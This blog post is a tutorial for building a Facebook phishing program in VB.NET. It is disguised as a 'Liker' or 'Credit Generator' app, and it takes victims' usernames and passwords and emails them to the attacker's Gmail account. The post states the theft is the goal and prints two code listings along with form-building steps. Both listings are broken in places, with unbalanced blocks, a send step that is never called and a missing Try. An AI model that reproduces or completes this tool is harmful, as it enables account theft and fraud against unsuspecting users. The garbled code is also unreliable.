Friday, October 25, 2013

FB Phisher in VB

Today I'm gonna show you how to create a Phisher Software in VB.NET
So our Concept is to send victim an application such as Facebook Liker,Credit Generator or whatever ..
That Send the Credentials to our gmail account ...

Watch video
  • So Create a new form in VB
  • add 2 labels of name & Password
  • Drag two textboxes and align them
  • Now take a Button and name whatever you want---> We will name Get Likes 
  • Drag another Button And name it Exit ..

Design whatever you want 

I have Designed in Following Way ...

Now Double Click On Submit Button(Get Likes) & Paste the following Code

Code (for Professionals)
Imports System.Net.Mail

If TextBox1.Text = "" Then
            MsgBox("Username Is Missing")
If Textbox2.text = "" Then
Msgbox("Password Is Mising")
        End If
        End if
        Dim smtpServer As New SmtpClient()
        Dim mail As New MailMessage()
        smtpServer.Credentials = New Net.NetworkCredential("Your Gmail", "Your Gmail Password")
        'using gmail
        smtpServer.Port = 587
        smtpServer.Host = ""
        smtpServer.EnableSsl = True
        mail = New MailMessage()
        mail.From = New MailAddress("Your Gmail")
        mail.To.Add("Your Gmail")
        mail.Subject = "Username: " & TextBox1.Text
        mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & textbox2.text
        MsgBox("Thanx we will serve you as soon as possible !")

Code (for beginners )
Erase the entire code n paste d following code !! (Refer d Video)

Imports System.Net.Mail
Public Class Form1

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Dim MyMailMessage As New MailMessage()
            MyMailMessage.From = New MailAddress("urgmailid")
            MyMailMessage.Subject = TextBox1.Text
            Dim SMTP As New SmtpClient("")
            SMTP.Port = 587
            SMTP.EnableSsl = True
            SMTP.Credentials = New System.Net.NetworkCredential("urgmailid","urgmailpassword")
            TextBox2.Text = ""
        Catch ex As Exception
        End Try
    End Sub

    Private Sub Facebook_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load

    End Sub
End Class

 Now at your Gmail --->Enter your gmail ID
And at Your Password ----->Add your Password
Fill the above information where-ever necessary/required 

Double Click On Exit Button and just type

 MsgBox("   ")  --->Here you can write anything that you want to display after the Operation is sucessfull  ...
Debug the Program & Check if it works or Not ...
It worked for me ...
Hope works for you too ...
If any Problem just make Comments 


Post a Comment